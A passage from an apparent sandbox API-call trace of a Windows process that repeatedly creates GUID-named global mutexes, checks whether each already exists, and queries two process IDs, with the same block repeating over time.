[2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0131.599] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0131.599] GetLastError () returned 0xb7 [0131.599] CloseHandle (hObject=0x56c) returned 1 [0131.600] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0131.600] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0131.600] GetLastError () returned 0xb7 [0131.600] CloseHandle (hObject=0x56c) returned 1 [0131.600] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0131.600] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0131.600] GetLastError () returned 0x0 [0131.600] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0131.600] CloseHandle (hObject=0x56c) returned 1 [0131.601] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0131.601] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0131.601] GetLastError () returned 0x0 [0131.601] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0131.601] CloseHandle (hObject=0x56c) returned 1 [0131.601] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0131.601] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0131.601] GetLastError () returned 0xb7 [0131.601] CloseHandle (hObject=0x56c) returned 1 [0131.608] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0131.608] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0131.608] GetLastError () returned 0xb7 [0131.608] CloseHandle (hObject=0x56c) returned 1 [0131.709] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0131.709] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0131.709] GetLastError () returned 0xb7 [0131.709] CloseHandle (hObject=0x56c) returned 1 [0131.709] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0131.709] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0131.709] GetLastError () returned 0xb7 [0131.709] CloseHandle (hObject=0x56c) returned 1 [0131.710] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0131.710] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0131.710] GetLastError () returned 0x0 [0131.710] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0131.710] CloseHandle (hObject=0x56c) returned 1 [0131.710] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0131.710] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0131.710] GetLastError () returned 0x0 [0131.710] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0131.710] CloseHandle (hObject=0x56c) returned 1 [0131.711] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0131.711] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0131.711] GetLastError () returned 0xb7 [0131.711] CloseHandle (hObject=0x56c) returned 1 [0131.718] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0131.718] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0131.718] GetLastError () returned 0xb7 [0131.718] CloseHandle (hObject=0x56c) returned 1 [0131.817] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0131.817] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0131.818] GetLastError () returned 0xb7 [0131.818] CloseHandle (hObject=0x56c) returned 1 [0131.818] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0131.818] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0131.818] GetLastError () returned 0xb7 [0131.818] CloseHandle (hObject=0x56c) returned 1 [0131.819] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0131.819] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0131.819] GetLastError () returned 0x0 [0131.819] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0131.819] CloseHandle (hObject=0x56c) returned 1 [0131.819] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0131.819] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0131.819] GetLastError () returned 0x0 [0131.819] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0131.819] CloseHandle (hObject=0x56c) returned 1 [0131.820] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0131.820] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0131.820] GetLastError () returned 0xb7 [0131.820] CloseHandle (hObject=0x56c) returned 1 [0131.827] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0131.827] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0131.827] GetLastError () returned 0xb7 [0131.827] CloseHandle (hObject=0x56c) returned 1 [0131.928] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0131.928] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0131.928] GetLastError () returned 0xb7 [0131.928] CloseHandle (hObject=0x56c) returned 1 [0131.928] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0131.928] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0131.928] GetLastError () returned 0xb7 [0131.928] CloseHandle (hObject=0x56c) returned 1 [0131.929] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0131.929] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0131.929] GetLastError () returned 0x0 [0131.929] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0131.929] CloseHandle (hObject=0x56c) returned 1 [0131.929] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0131.929] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0131.929] GetLastError () returned 0x0 [0131.929] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0131.929] CloseHandle (hObject=0x56c) returned 1 [0131.929] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0131.930] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0131.930] GetLastError () returned 0xb7 [0131.930] CloseHandle (hObject=0x56c) returned 1 [0131.937] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0131.941] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0131.941] GetLastError () returned 0xb7 [0131.941] CloseHandle (hObject=0x56c) returned 1 [0132.052] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0132.052] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0132.052] GetLastError () returned 0xb7 [0132.052] CloseHandle (hObject=0x56c) returned 1 [0132.053] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0132.053] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0132.053] GetLastError () returned 0xb7 [0132.053] CloseHandle (hObject=0x56c) returned 1 [0132.053] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0132.053] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0132.053] GetLastError () returned 0x0 [0132.053] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0132.053] CloseHandle (hObject=0x56c) returned 1 [0132.054] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0132.054] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0132.054] GetLastError () returned 0x0 [0132.054] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0132.054] CloseHandle (hObject=0x56c) returned 1 [0132.054] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0132.054] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0132.054] GetLastError () returned 0xb7 [0132.054] CloseHandle (hObject=0x56c) returned 1 [0132.062] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0132.062] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0132.062] GetLastError () returned 0xb7 [0132.062] CloseHandle (hObject=0x56c) returned 1 [0132.177] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0132.177] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0132.177] GetLastError () returned 0xb7 [0132.177] CloseHandle (hObject=0x56c) returned 1 [0132.177] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0132.177] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0132.177] GetLastError () returned 0xb7 [0132.177] CloseHandle (hObject=0x56c) returned 1 [0132.178] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0132.178] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0132.178] GetLastError () returned 0x0 [0132.178] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0132.178] CloseHandle (hObject=0x56c) returned 1 [0132.178] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0132.178] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0132.178] GetLastError () returned 0x0 [0132.178] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0132.178] CloseHandle (hObject=0x56c) returned 1 [0132.179] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0132.179] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0132.179] GetLastError () returned 0xb7 [0132.179] CloseHandle (hObject=0x56c) returned 1 [0132.186] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0132.186] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0132.186] GetLastError () returned 0xb7 [0132.186] CloseHandle (hObject=0x56c) returned 1 [0132.286] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0132.286] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0132.286] GetLastError () returned 0xb7 [0132.286] CloseHandle (hObject=0x56c) returned 1 [0132.286] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0132.286] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0132.286] GetLastError () returned 0xb7 [0132.286] CloseHandle (hObject=0x56c) returned 1 [0132.287] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0132.287] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0132.287] GetLastError () returned 0x0 [0132.287] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0132.287] CloseHandle (hObject=0x56c) returned 1 [0132.287] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0132.287] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0132.287] GetLastError () returned 0x0 [0132.287] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0132.287] CloseHandle (hObject=0x56c) returned 1 [0132.288] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0132.288] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0132.288] GetLastError () returned 0xb7 [0132.288] CloseHandle (hObject=0x56c) returned 1 [0132.295] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0132.295] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0132.295] GetLastError () returned 0xb7 [0132.295] CloseHandle (hObject=0x56c) returned 1 [0132.395] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, 